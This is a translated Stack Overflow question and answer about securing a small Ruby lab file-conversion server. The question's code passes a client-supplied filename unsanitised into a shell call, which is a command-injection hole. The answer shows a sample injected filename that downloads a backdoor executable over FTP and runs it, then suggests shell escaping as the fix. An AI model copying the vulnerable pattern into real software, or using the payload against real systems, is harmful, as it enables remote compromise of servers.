ruby - 我应该对小型单一服务服务器采取安全措施吗?

标签 ruby security

我有一些编程经验,但在程序安全方面我的经验很少。我用 Ruby 编写了一个单服务服务器,它在 Windows XP 计算机上运行,​​供同一实验室中的 Linux 计算机使用。实验室网络也在防火墙后面,所以那里可能没有问题,但我真的不知道。下面是服务器的代码。它所做的只是获取 .raw 文件,运行 msconvert.exe 将其转换为 mzML 文件,然后发回 mzML 文件。

require 'socket'

server = TCPServer.open(2000)
loop {
  client = server.accept

  filename = client.gets.chomp
  puts "Reading contents of #{filename}.raw"
  raw_data = client.gets("\r\r\n\n").chomp("\r\r\n\n")
  File.open(filename + ".raw", 'wb') {|out| out.print raw_data}
  puts "Converting #{filename}"

  #It's lame to have a script run a script, but it's the only way to get this to work.
  system "scriptit.bat " + filename + ".raw"

  puts "Sending contents of #{filename}.mzML"
  client.print IO.read(filename + ".mzML")
  client.print "\r\r\n\n"
  puts "Done"
  client.close # Disconnect from the client
}

我应该做些什么来使其更安全,还是我不需要担心它?

最佳答案

如果攻击者提供 filename|| ftp ftp://host/backdoor.exe || backdoor.exe ||他将能够感染您的服务器。

为了修补此服务器,您需要使用 Escape.shell_command() .

关于ruby - 我应该对小型单一服务服务器采取安全措施吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/3152284/

相关文章:

security - 内容未知的图片: Dangerous for a browser?

security - ASP Classic用户登录系统密码安全注意事项?

linux - .htaccess 中的安全 header 在 EasyApache4/Apache 2.4 和 PHP 7.0 中不起作用

security - 如何保护 REST 服务的 'public' 部分免受垃圾邮件影响?

ruby - 给定数的所有因数

ruby - 如何使用 whenever gem 在凌晨 2 点和下午 2 点运行任务?

ruby-on-rails - 在没有模型的情况下访问 ActiveRecord 关联

Ruby 无效多字节字符错误(2019 年 9 月)

ruby - ruby 中的时间格式化字符串

security - 是否有哪个浏览器支持哪个 TLS 密码套件的列表?